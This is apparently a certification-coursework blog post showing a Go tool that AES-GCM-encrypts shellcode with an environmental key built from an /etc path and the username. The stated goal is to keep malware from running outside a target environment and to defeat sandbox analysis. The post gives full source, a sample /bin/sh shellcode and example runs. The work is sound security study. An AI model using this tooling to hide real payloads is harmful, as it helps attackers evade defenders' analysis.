SLAE 7: Creating your own crypter using golang


Programming / January 27, 2020 • 4 min read

Tags: slae shellcoding


In this article, we will build a simple crypter for encrypting and decrypting shellcode. I chose to implement the crypter in Go using environmental keys.

I will not spend time implementing a fancy shellcode execution method in this article, only encryption and decryption methods are in scope for now.

Encryption

The encryption/decryption process is using AES GCM and a specific file in /etc/ concatenated with the current user logged in as the key. This is called Environmental Keying, meaning you use specific values found in the victim’s environment such as files, hostname or users. The purpose of this is to make sure that your malware only executes in a specific environment. This means the attacker needs to know some details about the environment before encrypting any shellcode.

Analysing the shellcode will be difficult because the correct environment values are needed in order to successfully decrypt the shellcode. Relying on dynamic analysis in a sandbox is futile because of this reason.

The specific values that I have chosen for the key is the file path /etc/vmware-tools/scripts/vmware/network and current logged in user. The final key will look like this: /etc/vmware-tools/scripts/vmware/networkdubs3c.

The following example encrypts a simple shellcode that executes /bin/sh:

dubs3c@slae:~/SLAE/EXAM/github/assignment_7$ go run main.go -e -s "\xfc\xbb\x1b\x91\xcd\xc8\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x2a\x43\x9f\xa0\x22\x4c\x53\x59\xd2\xbd\xbc\xfb\x4b\x4b\x21\xca\x42\x7a\x66\x9d\x5f\xb0\xe6\xde\x5f\x4a\xe7\xde"
[+] Your encrypted shellcode: 5af9fb00a2147e12ba73c2686b1b25fac3f441ffcb6974b00ec7413208dc749dae128faf67a5db80fe868dc2386e30546409503beb9ea6973441dc0ace3b35563550e3041fdde2c234b7dbd36ce74f1653ac08ec3be1f6fac3dd6fc34b378477bf6a5acf7800d01ee1c9280d8f6e2ccb8b13f517e790cc6d6623df9b1ced1dc1ebd8df2caca412f6f9d8233bd233fd6c590b12211f0706fc18dca864e97908df4eb638c8b223afc57d59714db119a0075dc935a65a38b4fe175fc15ad2b03125303b98c991ac01238f61c10f444bd85ad081fe2d097f816345e2ab98436cae10033c1cd870502608eac6a3149688b992
dubs3c@slae:~/SLAE/EXAM/github/assignment_7$

Decryption

The decryption function will loop over all files and folders in /etc/ and try each file path as the key together with the current username. When the correct key is found, the shellcode is decrypted.

Decrypting shellcode:

dubs3c@slae:~/SLAE/EXAM/github/assignment_7$ go run main.go -d -s "5af9fb00a2147e12ba73c2686b1b25fac3f441ffcb6974b00ec7413208dc749dae128faf67a5db80fe868dc2386e30546409503beb9ea6973441dc0ace3b35563550e3041fdde2c234b7dbd36ce74f1653ac08ec3be1f6fac3dd6fc34b378477bf6a5acf7800d01ee1c9280d8f6e2ccb8b13f517e790cc6d6623df9b1ced1dc1ebd8df2caca412f6f9d8233bd233fd6c590b12211f0706fc18dca864e97908df4eb638c8b223afc57d59714db119a0075dc935a65a38b4fe175fc15ad2b03125303b98c991ac01238f61c10f444bd85ad081fe2d097f816345e2ab98436cae10033c1cd870502608eac6a3149688b992"
[+] Decrypted shellcode: \xfc\xbb\x1b\x91\xcd\xc8\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x2a\x43\x9f\xa0\x22\x4c\x53\x59\xd2\xbd\xbc\xfb\x4b\x4b\x21\xca\x42\x7a\x66\x9d\x5f\xb0\xe6\xde\x5f\x4a\xe7\xde
dubs3c@slae:~/SLAE/EXAM/github/assignment_7$

Final code

Below is the final program for encrypting/decrypting shellcode.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
package main

import (
    "crypto/aes"
    "crypto/cipher"
    "crypto/rand"
    "crypto/sha256"
    "encoding/hex"
    "flag"
    "fmt"
    "io"
    "os"
    "os/user"
    "path/filepath"
)

type cliOptions struct {
    encrypt   bool
    decrypt   bool
    shellcode string
}

func processArgs() cliOptions {
    opts := cliOptions{}
    flag.BoolVar(&opts.decrypt, "decrypt", false, "Decrypt your shellcode")
    flag.BoolVar(&opts.decrypt, "d", false, "Decrypt your shellcode")
    flag.BoolVar(&opts.encrypt, "encrypt", false, "Encrypt your shellcode")
    flag.BoolVar(&opts.encrypt, "e", false, "Encrypt your shellcode")
    flag.StringVar(&opts.shellcode, "shellcode", "", "Your shellcode")
    flag.StringVar(&opts.shellcode, "s", "", "Your shellcode")
    flag.Parse()

    return opts
}

func init() {
    flag.Usage = func() {
        h := "\nEncrypt your shellcode! Very nice! Made by @dubs3c.\n\n"

        h += "Usage:\n"
        h += "  cyrptoBoot [shellcode] [options]\n\n"

        h += "Options:\n"
        h += "  -e,  --encrypt      Encrypt shellcode\n"
        h += "  -d,  --decrypt      Decrypt shellcode\n"
        h += "  -s,  --shellcode    Shellcode\n"
        h += "  -v,  --version      Show version\n"

        h += "\nExamples:\n"
        h += "  cryptoBoot -e -s \"<shellcode>\"\n"
        h += "  cryptoBoot -d -s \"<shellcode>\"\n"

        fmt.Fprintf(os.Stderr, h)
    }
}

func encrypt(shellcode string, envKey []byte) (encryptedShellcode []byte, err error) {
    plaintext := []byte(shellcode)

    block, err := aes.NewCipher(envKey)
    if err != nil {
        panic(err.Error())
    }

    // Never use more than 2^32 random nonces with a given key because of the risk of a repeat.
    nonce := make([]byte, 12)
    if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
        panic(err.Error())
    }

    aesgcm, err := cipher.NewGCM(block)
    if err != nil {
        panic(err.Error())
    }

    ciphertext := aesgcm.Seal(nil, nonce, plaintext, nil)
    ciphertextWithNonce := append(nonce, ciphertext...)
    encodedCiphertext := make([]byte, hex.EncodedLen(len(ciphertextWithNonce)))
    hex.Encode(encodedCiphertext, ciphertextWithNonce)
    return encodedCiphertext, nil
}

func decrypt(ciphertext string, envKey []byte) (plaintext []byte, err error) {
    ciphertxt, _ := hex.DecodeString(ciphertext[24:])
    nonce, _ := hex.DecodeString(ciphertext[:24])

    block, err := aes.NewCipher(envKey)
    if err != nil {
        return []byte{}, err
    }

    aesgcm, err := cipher.NewGCM(block)
    if err != nil {
        return []byte{}, err
    }

    plaintxt, err := aesgcm.Open(nil, nonce, ciphertxt, nil)
    if err != nil {
        return []byte{}, err
    }

    return plaintxt, nil
}

func main() {

    if len(os.Args) <= 1 {
        flag.Usage()
        os.Exit(0)
    }

    opts := processArgs()

    currentUser := &user.User{}
    currentUser, err := user.Current()
    envPath := "/etc/vmware-tools/scripts/vmware/network"
    envKey := sha256.Sum256([]byte(envPath + currentUser.Username))

    if opts.encrypt {
        if opts.shellcode == "" {
            fmt.Println("[-] Please specify your shellcode")
            os.Exit(1)
        }

        ciphertext, err := encrypt(opts.shellcode, envKey[:])
        if err != nil {
            fmt.Println("[-] Something went wrong encrypting your shellcode. Error: ", err)
            os.Exit(1)
        }

        fmt.Printf("[+] Your encrypted shellcode: %s\n", ciphertext)
        return
    }

    if opts.decrypt {

        if opts.shellcode == "" {
            fmt.Println("[-] Please specify your encrypted shellcode")
            os.Exit(1)
        }

        encryptedShellcode := opts.shellcode

        err = filepath.Walk("/etc/", func(path string, info os.FileInfo, err error) error {
            envKey := sha256.Sum256([]byte(path + currentUser.Username))
            plaintext, err := decrypt(encryptedShellcode, envKey[:])
            if err != nil {
                // Disregard errors
                return nil
            } else {
                fmt.Printf("[+] Decrypted shellcode: %s\n", plaintext)
            }
            return nil
        })

        if err != nil {
            fmt.Printf("error walking the path %q: %v\n", "/etc/", err)
            return
        }
    }
}

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: SLAE-1490